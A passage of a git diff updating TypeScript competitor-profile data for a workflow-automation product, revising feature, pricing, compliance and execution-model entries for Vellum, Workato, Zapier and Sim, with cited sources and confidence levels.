}, { title: '$20M Series A, followed by a consumer pivot', description: @@ -252,10 +252,10 @@ export const vellumProfile: CompetitorProfile = { }, dataTables: { value: - 'No: Vellum has no native spreadsheet-like data table primitive (row/column limits, spreadsheet keyboard navigation). Its tabular-data handling is limited to processing uploaded CSV/XLS files and extracting or generating structured output within workflow nodes.', + 'No: Vellum has no native, spreadsheet-like data-table feature (persistent rows/columns, keyboard navigation, per-row writes from workflows) comparable to a built-in database. Its only tabular-data handling is uploading CSV/XLS files and extracting or generating structured output within workflow nodes.', detail: - 'Vellum supports CSV/XLS upload and structured JSON extraction, and has blog content on converting PDFs to CSV, but no editable in-platform spreadsheet/data-table object comparable to a native DB feature.', - shortValue: 'No native spreadsheet-style data table feature', + 'Vellum supports CSV/XLS upload and structured JSON extraction, and has blog content on converting PDFs to CSV, but no editable in-platform spreadsheet/data-table object exists; Executions tables are read-only run logs, not a general-purpose data store.', + shortValue: 'No native table/spreadsheet feature; CSV upload and extraction only', confidence: 'estimated', sources: [ { @@ -425,10 +425,11 @@ export const vellumProfile: CompetitorProfile = { }, agentSkills: { value: - "No: Vellum has no named, reusable prompt or knowledge-snippet feature invoked by reference across multiple agents. Its reuse primitives are Subworkflows (reusable workflow logic blocks) and shared Prompt Sandboxes, not a discrete 'skill' object referenced by name across agents.", + "No: Vellum's B2B workflow/agent platform (docs.vellum.ai) has no named, reusable prompt or skill object invoked by reference across multiple agents. Its reuse primitives are Subworkflows (reusable workflow logic blocks) and shared Prompt Sandboxes, not a discrete 'skill' package referenced by name.", detail: - "Reuse happens via Subflows/subworkflows and deployed prompts, a different mechanism than a discrete named prompt-snippet library referenced across agents. The separate Vellum personal-assistant product does have a 'Skills' concept, but it is not documented as part of the B2B workflow platform compared here.", - shortValue: 'Only subworkflows, no named skill objects', + "Reuse happens via Subflows/subworkflows and deployed prompts, a different mechanism than a discrete named skill library referenced across agents. Vellum's separate consumer 'Personal Intelligence' assistant product (vellum.ai/docs, a different product from the B2B workflow platform compared here) does have a 'Skills' feature, built on the same open convention as other agent platforms: a directory containing a SKILL.md file (YAML frontmatter plus a markdown instruction body, with optional bundled scripts/reference files), extended with Vellum-namespaced metadata fields like metadata.vellum.display-name.", + shortValue: + 'Only subworkflows on the workflow platform; open SKILL.md format lives in a separate consumer product', confidence: 'estimated', sources: [ { @@ -441,6 +442,11 @@ export const vellumProfile: CompetitorProfile = { label: 'Built-In Tool Calling for Complex Agent Workflows', asOf: '2026-07-02', }, + { + url: 'https://www.vellum.ai/docs/extensibility/skills', + label: 'Skills - Vellum Docs (Personal Intelligence consumer product)', + asOf: '2026-07-04', + }, ], }, nativeChatDeployment: { @@ -641,37 +647,52 @@ export const vellumProfile: CompetitorProfile = { pricing: { pricingModel: { value: - 'Prepaid/pay-as-you-go credits ($1 credit = $1 of underlying LLM/API cost, no markup) plus a tiered monthly subscription for compute/storage', + "Not publicly listed for the B2B enterprise platform: Vellum's current pricing page has been fully replaced by the unrelated consumer 'Personal Intelligence' product's plans. A September 2025 third-party pricing analysis, published before that switch, described the enterprise platform as execution-credit-based with per-tier seat caps (Free, Pro, Enterprise) rather than the prepaid-credit model now shown.", detail: - "Current pricing pages describe the consumer 'Personal Intelligence' product's plans (Base/Free and Pro $50/mo tiers with configurable vCPU/RAM/storage add-ons) rather than the original enterprise workflow platform's seat/usage-based pricing.", - shortValue: 'Pass-through LLM credits + subscription', - confidence: 'verified', + "Current pricing pages (vellum.ai/pricing, vellum.ai/docs/pricing) describe the consumer 'Personal Intelligence' product's plans (Base/Free and Pro $50/mo tiers with configurable vCPU/RAM/storage add-ons), not the enterprise workflow platform. The last third-party description of the enterprise platform's model itself states Vellum 'does not publicly list pricing details on its website,' so the figures below are third-party estimates, not Vellum-published prices.", + shortValue: 'Not publicly listed; third-party analysis describes credit-based tiers', + confidence: 'unknown', sources: [ - { url: 'https://www.vellum.ai/pricing', label: 'Vellum Pricing', asOf: '2026-07-02' }, { - url: 'https://www.vellum.ai/docs/pricing', - label: 'Vellum Docs: Pricing', + url: 'https://www.zenml.io/blog/vellum-ai-pricing', + label: 'Vellum AI Pricing: ZenML Blog', + asOf: '2026-07-04', + }, + { + url: 'https://www.vellum.ai/pricing', + label: 'Vellum Pricing (now shows the consumer product)', asOf: '2026-07-02', }, ], }, entryPaidPlan: { - value: 'Around $50/month for a typical Pro-tier setup, plus usage credits', + value: + 'Unconfirmed: a third-party analysis reports a Pro tier around $500/month for the enterprise platform, but Vellum does not publish this figure itself', detail: - "The Pro plan has a $10/month platform fee (includes custom subdomain and priority support). Actual monthly cost depends on the compute tier chosen ($35-$125/mo) and storage tier chosen ($5-$120/mo); Vellum's own example configuration totals $50/month before usage credits.", - shortValue: '~$50/mo example configuration plus usage credits', - confidence: 'verified', + "The cited third-party breakdown describes Pro at roughly $500/month with 5,000 prompt executions/day, 250 workflow executions/day, RBAC, and monitoring integrations, still capped at 5 users; Enterprise tiers above that are custom/'Contact us' pricing. None of this is confirmed on Vellum's own site, which currently shows only the unrelated consumer product's $50/mo Pro plan.", + shortValue: '~$500/mo reported by a third party, unconfirmed by Vellum', + confidence: 'unknown', sources: [ - { url: 'https://www.vellum.ai/pricing', label: 'Vellum Pricing', asOf: '2026-07-02' }, + { + url: 'https://www.zenml.io/blog/vellum-ai-pricing', + label: 'Vellum AI Pricing: ZenML Blog', + asOf: '2026-07-04', + }, ], }, freeTier: { value: - "Yes: free 'Base' plan with small fixed compute and 4 GiB storage, no credit card required", - shortValue: 'Free Base plan, no card required', - confidence: 'verified', + "Reportedly yes: a third-party analysis describes a Free tier (50 prompt executions/day, 25 workflow executions/day, up to 5 users, no RBAC) for the enterprise platform, but this is not confirmed on Vellum's current site", + detail: + "Vellum's own pricing page no longer shows this tier; it now presents only the unrelated consumer 'Personal Intelligence' product's free 'Base' plan.", + shortValue: 'Reported by a third party, unconfirmed by Vellum', + confidence: 'unknown', sources: [ - { url: 'https://www.vellum.ai/pricing', label: 'Vellum Pricing', asOf: '2026-07-02' }, + { + url: 'https://www.zenml.io/blog/vellum-ai-pricing', + label: 'Vellum AI Pricing: ZenML Blog', + asOf: '2026-07-04', + }, ], }, byok: { @@ -960,6 +981,26 @@ export const vellumProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes, by inference: Scheduled Triggers (cron-based) and Integration Triggers (webhook-based, introduced November 2025) fire a deployed Workflow automatically on Vellum's own Cloud, self-hosted, or VPC infrastructure, the same server-side execution path already documented for API and async calls. No Vellum documentation for the B2B workflow/agent platform ties a scheduled or triggered run's reliability to a client device, browser tab, or desktop app staying open.", + detail: + "Vellum's changelog states a deployed Workflow Deployment containing a Trigger 'executes automatically based on that configuration' but does not spell out the runtime location in those words. This is inferred from the deployment/API execution model (deploymentOptions, apiPublishing, asyncExecution facts) rather than an explicit doc statement. Note Vellum's separate consumer 'Personal Intelligence' assistant product explicitly ties its own schedule reliability to a locally running daemon on self-hosted installs; that client-dependent model is a different product from the B2B workflow platform compared here.", + shortValue: 'Runs server-side on deployment infra; no documented client dependency', + confidence: 'estimated', + sources: [ + { + url: 'https://docs.vellum.ai/changelog/2025/2025-11', + label: 'Vellum Changelog, November 2025 (Scheduled and Integration Triggers)', + asOf: '2026-07-04', + }, + { + url: 'https://docs.vellum.ai/product/workflows/api-integration', + label: 'Vellum Docs: Easy Integration with Vellum API for Workflows', + asOf: '2026-07-04', + }, + ], + }, }, support: { supportChannels: { @@ -999,9 +1040,9 @@ export const vellumProfile: CompetitorProfile = { }, companyMaturity: { value: - 'Founded 2023 (Y Combinator W23) by Noa Flaherty, Sidd Seethepalli, and Akash Sharma. Raised a $5M seed (2023) and a $20M Series A (July 2025, led by Leaders Fund), for about $25.5M total. Based in New York City, with 150+ reported customers as of the Series A announcement.', - shortValue: 'YC W23, ~$25.5M raised, NYC-based', - confidence: 'verified', + 'Founded 2023 (Y Combinator W23) by Noa Flaherty, Sidd Seethepalli, and Akash Sharma. Raised a $5M seed (2023) and a $20M Series A (July 2025, led by Leaders Fund). Crunchbase reports $25.5M raised in total across three funding rounds, implying additional undisclosed funding beyond these two rounds. Based in New York City, with 150+ reported customers as of the Series A announcement.', + shortValue: 'YC W23, ~$25.5M raised across 3 rounds, NYC-based', + confidence: 'estimated', sources: [ { url: 'https://www.vellum.ai/blog/announcing-our-20m-series-a', diff --git a/apps/sim/lib/compare/data/competitors/workato.ts b/apps/sim/lib/compare/data/competitors/workato.ts index fabbdccdb4b..247a5b55316 100644 --- a/apps/sim/lib/compare/data/competitors/workato.ts +++ b/apps/sim/lib/compare/data/competitors/workato.ts @@ -11,7 +11,7 @@ export const workatoProfile: CompetitorProfile = { selfFramed: true, colors: ['#62dfd2', '#418484', '#151716'], description: - 'Workato is a Palo Alto‑based integration and automation platform that enables enterprises to orchestrate applications, data, and processes using AI‑driven agents. Leveraging its proprietary Enterprise Model Context Protocol (MCP), Workato delivers secure, scalable, and accurate AI agents that move from the edge of business operations to the core, allowing real‑time, enterprise‑wide automation. Trusted by over half of the Fortune 500, the platform connects every application and data source, providing end‑to‑end workflow automation and intelligent orchestration for the agentic era.', + 'Workato is a Palo Alto-based integration and automation platform that enables enterprises to orchestrate applications, data, and processes using AI-driven agents. Leveraging its proprietary Enterprise Model Context Protocol (MCP), Workato delivers secure, scalable, and accurate AI agents that move from the edge of business operations to the core, allowing real-time, enterprise-wide automation. Trusted by over half of the Fortune 500, the platform connects every application and data source, providing end-to-end workflow automation and intelligent orchestration for the agentic era.', industries: [ 'Software (B2B)', 'Developer Tools & APIs', @@ -31,6 +31,18 @@ export const workatoProfile: CompetitorProfile = { oneLiner: 'Workato is a cloud-based enterprise integration platform that extends its workflow automation engine with an AI-agent layer (Agent Studio, "Genies") and native Model Context Protocol (MCP) server support, for building, orchestrating, and governing AI agents across connected business systems.', standoutFeatures: [ + { + title: 'Broad compliance certification set', + description: + 'Workato holds SOC 1/2/3, PCI-DSS v4.0.1 Level 1, ISO 27001/27701/42001, HIPAA (with BAAs), IRAP, and NIST 800-171A r2 certifications, a wide footprint for an integration/agent platform.', + shortDescription: + 'Wide compliance footprint spanning SOC, ISO, HIPAA, PCI-DSS, IRAP, and NIST.', + source: { + url: 'https://docs.workato.com/security/security-compliance.html', + label: 'Security compliance | Workato docs', + asOf: '2026-07-02', + }, + }, { title: 'Enterprise MCP server hosting', description: @@ -54,18 +66,6 @@ export const workatoProfile: CompetitorProfile = { asOf: '2026-07-02', }, }, - { - title: 'Broad compliance certification set', - description: - 'Workato holds SOC 1/2/3, PCI-DSS v4.0.1 Level 1, ISO 27001/27701/42001, HIPAA (with BAAs), IRAP, and NIST 800-171A r2 certifications, a wide footprint for an integration/agent platform.', - shortDescription: - 'Wide compliance footprint spanning SOC, ISO, HIPAA, PCI-DSS, IRAP, and NIST.', - source: { - url: 'https://docs.workato.com/security/security-compliance.html', - label: 'Security compliance | Workato docs', - asOf: '2026-07-02', - }, - }, { title: 'Bring-Your-Own-LLM for Agent Studio', description: @@ -204,7 +204,11 @@ export const workatoProfile: CompetitorProfile = { shortValue: 'Proprietary', confidence: 'verified', sources: [ - { url: 'https://www.workato.com/', label: 'Workato homepage', asOf: '2026-07-02' }, + { + url: 'https://www.workato.com/legal/terms-of-service', + label: 'Terms of Service | Workato', + asOf: '2026-07-04', + }, ], }, environmentPromotion: { @@ -231,9 +235,9 @@ export const workatoProfile: CompetitorProfile = { asOf: '2026-07-02', }, { - url: 'https://docs.workato.com/platform-cli/use-cases.html', - label: 'Workato Platform CLI example use cases', - asOf: '2026-07-02', + url: 'https://docs.workato.com/en/platform-cli.html', + label: 'Workato Platform CLI | Workato docs', + asOf: '2026-07-04', }, ], }, @@ -303,10 +307,10 @@ export const workatoProfile: CompetitorProfile = { }, dataTables: { value: - 'Yes: Workato has a native Data Tables feature, a spreadsheet-like store with columns/rows supporting up to 1,000,000 records per table, plus filter/sort/hide-column controls in the UI, distinct from external database connectors.', + 'Yes, a comparable feature exists: Workato has a native Data Tables feature, a spreadsheet-like store with columns/rows supporting up to 1,000,000 records per table, plus filter/sort/hide-column controls in the UI, distinct from external database connectors.', detail: - 'Public docs describe filter, sort, and column visibility controls, but not full spreadsheet-style keyboard navigation (arrow-key cell traversal, multi-cell copy-paste) in the interface.', - shortValue: 'Yes: native Data Tables, up to 1M rows', + 'Public docs describe filter, sort, and column visibility controls, but not full spreadsheet-style keyboard navigation (arrow-key cell traversal, multi-cell copy-paste, Cmd/Ctrl+Z undo) in the interface, so it is not confirmed to match a keyboard-driven spreadsheet editing experience feature-for-feature.', + shortValue: 'Yes: native Data Tables, up to 1M rows, keyboard nav unconfirmed', confidence: 'verified', sources: [ { @@ -514,10 +518,10 @@ export const workatoProfile: CompetitorProfile = { }, agentSkills: { value: - "Yes: Workato Agent Studio has a 'Skills' concept where reusable recipes/skill definitions (with a structured skill prompt describing purpose, when to use/not use, inputs and outputs) can be assigned to and shared across multiple Genies and MCP servers within a project, avoiding duplication.", + "Yes, but proprietary and not portable: Workato Agent Studio's 'Skills' are reusable recipe-backed workflows (a Start-workflow trigger plus a Return-response step, with a structured skill prompt describing purpose, when to use/not use, inputs and outputs) that can be assigned to and shared across multiple Genies and MCP servers within a project, avoiding duplication.", detail: - 'Skills are backed by recipes (750K+ reusable recipes/skills referenced) and include a templated skill-prompt format, matching the named reusable prompt/knowledge-snippet pattern.', - shortValue: 'Yes: reusable Skills shared across Genies', + "Skills are stored and versioned entirely inside Workato's own recipe system; the documentation describes no export, no standalone file format, and no way to move a Skill definition outside the platform. Reuse is internal to a Workato workspace/project, not a portable artifact like a SKILL.md file that could be checked into git or dropped into another vendor's agent.", + shortValue: 'Yes: reusable Skills, but proprietary and non-portable', confidence: 'verified', sources: [ { @@ -656,15 +660,10 @@ export const workatoProfile: CompetitorProfile = { shortValue: 'Workflow, API, data pipeline, app event, and KB recipes', confidence: 'verified', sources: [ - { - url: 'https://www.prowesssoft.com/workato-recipes/', - label: 'Workato Recipes Explained for Enterprise Automation', - asOf: '2026-07-02', - }, { url: 'https://docs.workato.com/recipes.html', label: 'Recipes | Workato docs', - asOf: '2026-07-02', + asOf: '2026-07-04', }, ], }, @@ -683,14 +682,14 @@ export const workatoProfile: CompetitorProfile = { }, apiPublishing: { value: - 'Yes: Workato supports "API recipes" that expose a recipe as a REST API endpoint, callable by external clients', + 'Yes: Workato supports "API recipes" built on its API Platform, which expose a recipe as a REST API endpoint that external users, other recipes, or integrated systems can call to access and exchange data', shortValue: 'API recipes expose workflows as REST endpoints', confidence: 'verified', sources: [ { - url: 'https://www.prowesssoft.com/workato-recipes/', - label: 'Workato Recipes Explained for Enterprise Automation', - asOf: '2026-07-02', + url: 'https://docs.workato.com/api-management.html', + label: 'API Platform | Workato Docs', + asOf: '2026-07-04', }, ], }, @@ -828,21 +827,21 @@ export const workatoProfile: CompetitorProfile = { }, { url: 'https://www.workato.com/legal/security', - label: "Workato's security and compliance nature", + label: 'Workato Security Overview', asOf: '2026-07-02', }, ], }, dataResidency: { value: - 'Workato operates multiple regional data centers (for example, an Israel data center that uses OpenAI GPT-4o mini instead of the Anthropic Sonnet 4 used elsewhere) and documents data-protection and residency options for customers. The on-prem agent additionally lets customers keep on-prem application data behind their own firewall, tunneling only authorized traffic to the Workato cloud.', - shortValue: 'Multiple regional data centers; on-prem agent option', + "Yes, at signup: customers choose one data residency region per account from Workato's regional data centers (US, EU/Frankfurt, UK, Japan, Singapore, Australia, Israel, China, South Korea). That choice is fixed once the account is created; data cannot later be migrated to another region, and there is no ongoing per-workspace or per-project residency toggle. Using more than one region requires signing up for and maintaining a separate Workato account in each desired region. The on-prem agent additionally lets customers keep on-prem application data behind their own firewall, tunneling only authorized traffic to the Workato cloud.", + shortValue: 'Region chosen once at signup, fixed per account, not ongoing/toggleable', confidence: 'verified', sources: [ { - url: 'https://www.workato.com/the-connector/data-protection-measures/', - label: 'A Guide to Workato Data Residency, Security, and Compliance', - asOf: '2026-07-02', + url: 'https://docs.workato.com/datacenter/datacenter-overview.html', + label: 'Data center overview | Workato Docs', + asOf: '2026-07-04', }, { url: 'https://docs.workato.com/connectors/ai-by-workato.html', @@ -1009,10 +1008,10 @@ export const workatoProfile: CompetitorProfile = { }, thirdPartyVetting: { value: - 'Partial: Workato has a large first-party catalog of native, Workato-built connectors, plus an open Community Library where any developer with Connector SDK access can build and publish a connector that other users install with no formal Workato security review, alongside an invite-only Partner Connector tier that does get Workato code review.', + 'Partial: Workato has a large first-party catalog of native, Workato-built connectors, plus an open Community Library where any developer with Connector SDK access can build and publish a connector that other users install, alongside an invite-only Partner Connector tier that does get dedicated Workato code review. This is a genuine public marketplace for third-party executable connector code, unlike a vendor with no such marketplace at all.', detail: - "Workato's docs distinguish three tiers: native connectors are built and maintained by Workato directly; Partner Connectors go through Workato's partnership program with dedicated developer accounts and code review by Workato engineers on the initial version and subsequent updates; and Community Connectors are built by any community member and published to the Community Library with no formal Workato security review, explicitly labeled 'intended as examples only.' Installing a community connector requires full Connector SDK privileges, and Workato tells users to independently evaluate and test a community connector's code before releasing it workspace-wide, since 'notwithstanding any Security Review conducted or any label provided by Workato, Workato does not certify, warrant or support any Community Listings, Partner Connectors or No Code Connectors.' No publicly documented incident (e.g., a malicious published community connector or a credential leak traced to one) exists; a Workato blog post on general AI/MCP security risk raises malicious lookalike marketplace tools as a theoretical, industry-wide concern rather than a Workato-specific incident.", - shortValue: 'Partial: first-party catalog plus open, lightly-vetted community library', + "Workato's docs distinguish three tiers: native connectors are built and maintained by Workato directly; Partner Connectors go through Workato's partnership program with dedicated developer accounts and code review by Workato engineers on the initial version and subsequent updates; and Community Connectors are built by any community member and published to the Community Library, reviewed within roughly one business day per Workato's own docs, but explicitly labeled 'intended as examples only.' Installing a community connector requires full Connector SDK privileges, and Workato tells users to independently evaluate and test a community connector's code before releasing it workspace-wide, since 'notwithstanding any Security Review conducted or any label provided by Workato, Workato does not certify, warrant or support any Community Listings, Partner Connectors or No Code Connectors.' Community connectors can also be published open-source (installable, viewable, and modifiable by anyone) or closed-source. This is structurally different from a vendor where every executable integration is first-party authored and code-reviewed through the vendor's own repository, with no public listing where an arbitrary third party can publish code for other users to install. No publicly documented incident (e.g., a malicious published community connector or a credential leak traced to one) exists; a Workato blog post on general AI/MCP security risk raises malicious lookalike marketplace tools as a theoretical, industry-wide concern rather than a Workato-specific incident.", + shortValue: 'Partial: first-party catalog plus an open, lightly-vetted marketplace', confidence: 'verified', sources: [ { @@ -1030,6 +1029,11 @@ export const workatoProfile: CompetitorProfile = { label: 'Workato Community Connectors: What you need to know', asOf: '2026-07-02', }, + { + url: 'https://docs.workato.com/developing-connectors/sdk/quickstart/sharing.html', + label: 'Workato Docs: Sharing a connector (open-source vs. closed-source)', + asOf: '2026-07-04', + }, ], }, }, @@ -1198,6 +1202,31 @@ export const workatoProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: Workato recipes are a cloud-hosted SaaS execution engine, so scheduled, webhook, and other triggered runs fire and complete as jobs on Workato's own servers, with no builder browser tab, desktop client, or session required to stay open.", + detail: + "The Scheduler trigger fires recipes on a defined interval, and every run creates a job tracked through Workato's cloud Jobs API, both entirely server-side. The only client-adjacent component is the optional on-prem agent, and even that is a persistent background service (not an interactive desktop app or user session) that bridges the Workato cloud to on-prem systems; the recipe's trigger, logic, and job state still live in Workato's cloud regardless of whether an on-prem agent is involved.", + shortValue: 'Yes: runs server-side on Workato cloud, no client session needed', + confidence: 'verified', + sources: [ + { + url: 'https://www.workato.com/product-hub/scheduler-trigger-routine-custom-schedules/', + label: 'Scheduler Trigger: Kick-off recipes to run on routine and custom schedules', + asOf: '2026-07-04', + }, + { + url: 'https://docs.workato.com/workato-api/jobs.html', + label: 'Workato API - Jobs', + asOf: '2026-07-02', + }, + { + url: 'https://docs.workato.com/on-prem/agents.html', + label: 'On-prem agent | Workato docs', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { diff --git a/apps/sim/lib/compare/data/competitors/zapier.ts b/apps/sim/lib/compare/data/competitors/zapier.ts index 1f30502e01b..0e5cb9f56b8 100644 --- a/apps/sim/lib/compare/data/competitors/zapier.ts +++ b/apps/sim/lib/compare/data/competitors/zapier.ts @@ -945,7 +945,7 @@ export const zapierProfile: CompetitorProfile = { value: "Partial: Zapier's App Directory is an open developer ecosystem, not a closed first-party catalog. Any developer can build an integration on the Zapier Developer Platform and submit it for public listing. Zapier's review checks publishing/technical requirements (HTTPS-only endpoints, no hardcoded credentials, OAuth verification) rather than a deep security audit, and Zapier tells customers these apps are 'owned and operated by third parties' and that users are responsible for evaluating trust in the developer.", detail: - "Zapier's Partner Program docs describe review turnaround of up to 21 business days against publishing standards, and OAuth verification is framed as 'a helpful start' rather than a guarantee of an app's suitability. No security incident tied to a malicious third-party app published in the App Directory was found; separate publicly reported incidents (a 2025 repository breach exposing debug logs, and a 2025 npm supply-chain compromise of Zapier's own published packages) involved Zapier's internal infrastructure and package registry, not the App Directory's third-party integration ecosystem.", + "Zapier's Partner Program docs describe review turnaround of up to 21 business days against publishing standards, and OAuth verification is framed as 'a helpful start' rather than a guarantee of an app's suitability. No security incident tied to a malicious third-party app published in the App Directory was found; separate publicly reported incidents (a February 2025 code-repository breach where customer data had been copied into repos for debugging, caused by a 2FA misconfiguration on an employee account, and a November 2025 npm supply-chain compromise of Zapier's own published developer-platform packages via the Shai-Hulud worm) involved Zapier's internal infrastructure and package registry, not the App Directory's third-party integration ecosystem.", shortValue: 'Partial: open app directory, lighter technical review', confidence: 'verified', sources: [ @@ -964,6 +964,16 @@ export const zapierProfile: CompetitorProfile = { label: 'Data safety when using Zapier embedded in other apps', asOf: '2026-07-02', }, + { + url: 'https://docs.zapier.com/platform/build-cli/inc-547', + label: 'Unauthorized Access to Zapier NPM Packages (official incident report)', + asOf: '2026-07-04', + }, + { + url: 'https://www.scworld.com/brief/cyber-incident-potentially-compromises-zapier-customer-data', + label: 'Cyber incident potentially compromises Zapier customer data', + asOf: '2026-07-04', + }, ], }, }, @@ -1134,6 +1144,26 @@ export const zapierProfile: CompetitorProfile = { }, ], }, + unattendedExecution: { + value: + "Yes: scheduled, webhook, and polling-triggered Zaps run entirely on Zapier's own cloud servers, with no desktop app, local agent, or open browser tab required", + detail: + "Zapier is a cloud SaaS platform, not installed local software. Once a Zap is turned on, Zapier's servers poll connected apps or listen for pushed webhook events on its own infrastructure; the user's device can be closed or disconnected without affecting a scheduled or triggered run.", + shortValue: 'Runs server-side; no dependency on a client device staying open', + confidence: 'verified', + sources: [ + { + url: 'https://help.zapier.com/hc/en-us/articles/37518970271245-What-is-Zapier', + label: 'What is Zapier?', + asOf: '2026-07-02', + }, + { + url: 'https://help.zapier.com/hc/en-us/articles/8496244568589-How-Zap-triggers-work', + label: 'How Zap triggers work', + asOf: '2026-07-02', + }, + ], + }, }, support: { supportChannels: { @@ -1152,11 +1182,17 @@ export const zapierProfile: CompetitorProfile = { }, sla: { value: - 'Tiered response-time targets: Professional ~8hr weekday/24hr weekend; Team ~1hr first response/4hr follow-up; Enterprise ~30min first response/15min for critical issues, with a Technical Account Manager offering ~6 hours/month of support', + 'Tiered response-time targets (goals, not contractual guarantees): Professional ~8hr weekday/24hr weekend; Team ~1hr first response/4hr follow-up; Enterprise ~30min first response/1hr follow-up, with a Technical Account Manager offering ~6 hours/month of support', + detail: + "Zapier's help center states these targets are goals for support responses, not service-level guarantees, and actual response times may vary with volume and request complexity.", shortValue: 'Tiered response times, fastest on Enterprise', - confidence: 'estimated', + confidence: 'verified', sources: [ - { url: 'https://zapier.com/enterprise', label: 'Zapier Enterprise', asOf: '2026-07-02' }, + { + url: 'https://help.zapier.com/hc/en-us/articles/8496213764877-Get-help-and-support-with-Zapier', + label: 'Get help and support with Zapier', + asOf: '2026-07-04', + }, ], }, community: { diff --git a/apps/sim/lib/compare/data/sim.ts b/apps/sim/lib/compare/data/sim.ts index 4e4d28c0b28..c6f00502eba 100644 --- a/apps/sim/lib/compare/data/sim.ts +++ b/apps/sim/lib/compare/data/sim.ts @@ -84,12 +84,23 @@ export const simProfile: CompetitorProfile = { asOf: '2026-07-02', }, }, + { + title: 'Live multiplayer canvas editing', + description: + 'Real-time cursors, selection broadcasting, and synced concurrent edits over a dedicated realtime backend, so a team can build the same workflow together at the same time.', + shortDescription: 'Real-time cursors, selections, and synced edits on the same canvas.', + source: { + url: 'https://github.com/simstudioai/sim/blob/main/apps/realtime/src/handlers/presence.ts', + label: 'Sim codebase: realtime presence handler', + asOf: '2026-07-04', + }, + }, ], limitations: [ { title: 'Smaller integration catalog than the largest generalist automation platforms', description: - "Sim ships 302 first-party blocks and roughly 3,900 underlying tool actions. Platforms like Zapier (7,000+ apps) or Pipedream (1,000+ apps) list larger raw app counts. Sim's MCP support lets teams add custom integrations beyond the built-in catalog.", + "Sim ships 302 first-party blocks and roughly 3,900 underlying tool actions. Platforms like Zapier (9,000+ apps) or Pipedream (3,000+ apps) list larger raw app counts. Sim's MCP support lets teams add custom integrations beyond the built-in catalog.", shortDescription: "302 blocks and ~3,900 tool actions, versus Zapier and Pipedream's larger raw app counts.", source: { @@ -318,10 +329,9 @@ export const simProfile: CompetitorProfile = { aiCapabilities: { multiLlmSupport: { value: - '21 provider integrations (OpenAI, Anthropic, Google/Gemini, Azure OpenAI, Azure Anthropic, Groq, Cerebras, Mistral, xAI, Bedrock, Vertex, Ollama, OpenRouter, and more)', - detail: - 'apps/sim/providers/models.ts defines 21 provider entries; openrouter/litellm/vllm/ollama resolve models dynamically at runtime rather than from a hardcoded model list.', - shortValue: '21 providers incl. OpenAI, Anthropic, Google, Bedrock', + '21 provider integrations (OpenAI, Anthropic, Google/Gemini, Azure OpenAI, Azure Anthropic, Groq, Cerebras, Mistral, xAI, Bedrock, Vertex, Ollama, OpenRouter, and more), with OpenRouter, LiteLLM, vLLM, and Ollama resolving models dynamically at runtime rather than from a fixed list, so effective model reach extends well beyond the 21 named providers', + detail: 'apps/sim/providers/models.ts defines 21 provider entries.', + shortValue: '21 providers plus dynamic-resolution aggregators (OpenRouter, LiteLLM, etc.)', confidence: 'verified', sources: [ { @@ -359,8 +369,9 @@ export const simProfile: CompetitorProfile = { }, knowledgeBaseRag: { value: - 'Yes: native hybrid vector (pgvector) + keyword search knowledge base, 11 supported file formats, configurable chunking', - shortValue: 'Hybrid vector + keyword search, 11 file formats', + 'Yes: native hybrid vector (pgvector) + keyword search knowledge base, 11 supported file formats, configurable chunking, plus 51 connectors that continuously sync external sources (Google Drive, Confluence, Slack, Gmail, GitHub, HubSpot, Linear, Jira, and more) into the knowledge base rather than a one-shot upload', + shortValue: + 'Hybrid vector + keyword search, 11 file formats, 51 continuously-synced connectors', confidence: 'verified', sources: [ { @@ -373,6 +384,11 @@ export const simProfile: CompetitorProfile = { label: 'Sim Docs: Knowledge Base document types', asOf: '2026-07-02', }, + { + url: 'https://github.com/simstudioai/sim/blob/main/apps/sim/connectors/registry.ts', + label: 'Sim codebase: connector registry (51 connectors)', + asOf: '2026-07-04', + }, ], }, mcpSupport: { @@ -569,10 +585,11 @@ export const simProfile: CompetitorProfile = { }, integrations: { integrationCount: { - value: '302 first-party blocks, ~3,900 underlying tool actions', + value: + '1,000+ integrations counting individual API actions, built from 302 first-party blocks and roughly 3,900 underlying tool actions', detail: - 'Sim\'s landing page cites "1,000+ integrations," a broader figure counting individual API actions rather than top-level blocks. Both numbers describe the same integration surface.', - shortValue: '302 blocks, ~3,900 tool actions', + 'Sim\'s landing page cites the "1,000+ integrations" figure; the block/tool-action counts are the same integration surface measured at a different level of granularity.', + shortValue: '1,000+ integrations (302 blocks, ~3,900 tool actions)', confidence: 'verified', sources: [ { @@ -594,8 +611,9 @@ export const simProfile: CompetitorProfile = { }, triggerTypes: { value: - 'Webhook, schedule/cron, chat, REST API, and event-based triggers for 61 apps (Slack, Gmail, GitHub, Stripe, etc.)', - shortValue: 'Webhook, cron, chat, REST API, triggers for 61 apps', + 'Webhook, schedule/cron, chat, REST API, and event-based triggers for 61 apps (Slack, Gmail, GitHub, Stripe, etc.), plus a native row-level trigger on Sim Tables that fires on insert/update with an optional column watch-list and emits a before/after diff', + shortValue: + 'Webhook, cron, chat, REST API, 61 app triggers, plus a diff-aware Tables trigger', confidence: 'verified', sources: [ { @@ -603,6 +621,11 @@ export const simProfile: CompetitorProfile = { label: 'Sim Docs: Triggers overview', asOf: '2026-07-02', }, + { + url: 'https://github.com/simstudioai/sim/blob/main/apps/sim/triggers/table/poller.ts', + label: 'Sim codebase: Table row trigger', + asOf: '2026-07-04', + }, ], }, customCodeSteps: { @@ -642,10 +665,20 @@ export const simProfile: CompetitorProfile = { }, extensibilitySdk: { value: - 'No official client SDK. The API is REST-only via an x-api-key header. Extensibility instead comes from MCP (client + server), a sandboxed code-execution block (JS/Python), custom tools, and an Agent-to-Agent (A2A) protocol block for external agent interop', - shortValue: 'No SDK; MCP, code block, and A2A protocol instead', + 'Official client SDKs exist for Python (simstudio-sdk, pip install simstudio-sdk) and TypeScript/JavaScript (simstudio-ts-sdk, npm install simstudio-ts-sdk), both wrapping the REST API (x-api-key header) with methods like execute_workflow / executeWorkflow, retry-with-backoff, and usage-limit lookups. Extensibility is further extended by MCP (client + server), a sandboxed code-execution block (JS/Python), custom tools, and an Agent-to-Agent (A2A) protocol block for external agent interop', + shortValue: 'Official Python and TypeScript SDKs, plus MCP, code block, and A2A protocol', confidence: 'verified', sources: [ + { + url: 'https://docs.sim.ai/api-reference/python', + label: 'Sim Docs: Python SDK', + asOf: '2026-07-04', + }, + { + url: 'https://docs.sim.ai/api-reference/typescript', + label: 'Sim Docs: TypeScript SDK', + asOf: 